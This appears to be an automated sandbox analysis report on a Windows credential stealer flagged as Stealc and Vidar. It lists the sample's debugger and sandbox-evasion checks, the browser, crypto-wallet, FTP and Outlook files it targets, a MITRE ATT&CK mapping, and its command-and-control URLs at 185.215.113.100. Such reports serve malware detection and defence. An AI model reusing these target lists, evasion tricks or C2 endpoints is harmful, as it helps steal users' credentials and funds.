Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareR
Source: GDAAKKEH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: GDAAKKEH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GDAAKKEH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: GDAAKKEH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58054
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58031
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58034
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59221
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58046
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58085

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB55FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB55FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009A4610 VirtualProtect ?,00000004,00000100,00000000

0_2_009A4610

Source: C:\Users\user\Desktop\file.exe

0_2_009B9270

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B9160 mov eax, dword ptr fs:[00000030h]

0_2_009B9160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B0090 GetProcessHeap,RtlAllocateHeap,StrStrA,lstrlen,StrStrA,lstrlen,StrStrA,lstrlen,StrStrA,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrlen,

0_2_009B0090

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CB2B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CB2B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B90A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_009B90A0

Source: file.exe, file.exe, 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: KProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB2B341 cpuid

0_2_6CB2B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_009B7630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B63C0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_009B63C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B72F0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_009B72F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009B74D0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_009B74D0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Electrum
Source: file.exe	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe	String found in binary or memory: \Electrum\wallets\
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe	String found in binary or memory: exodus.conf.json
Source: file.exe	String found in binary or memory: \Exodus\
Source: file.exe	String found in binary or memory: info.seco
Source: file.exe	String found in binary or memory: ElectrumLTC
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: \Exodus\
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json*)r
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: \MultiDoge\
Source: file.exe	String found in binary or memory: seed.seco
Source: file.exe	String found in binary or memory: keystore
Source: file.exe	String found in binary or memory: \Electrum-LTC\wallets\
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.[

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1600, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	41%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpo	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpl	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dllllVp	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpion:	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpb	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpb	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpho	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpl	7%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/mozglue.dll	6%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpo	7%	Virustotal		Browse
http://185.215.113.100#G	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php0oQ	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/softokn3.dll	6%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100#G	19%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpho	18%	Virustotal		Browse
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dlllC	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpata	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dllllDp	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dll6	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpBOK	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	22%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpdo	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dll	22%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dlljp	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/msvcp140.dll6	19%	Virustotal		Browse
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	Avira URL Cloud	safe
185.215.113.100/e2b1563c6670f193.php	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/msvcp140.dll%	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dll.	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dllz	100%	Avira URL Cloud	malware
185.215.113.100/e2b1563c6670f193.php	21%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllll	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpDHCBGDHJKEBGDGIJEq	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	6%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/sqlite3.dllz	19%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dll.	11%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/nss3.dllll	7%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
185.215.113.100/e2b1563c6670f193.php	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	DAEGIDHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	DAEGIDHD.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dllllVp	file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	DAEGIDHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpho	file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
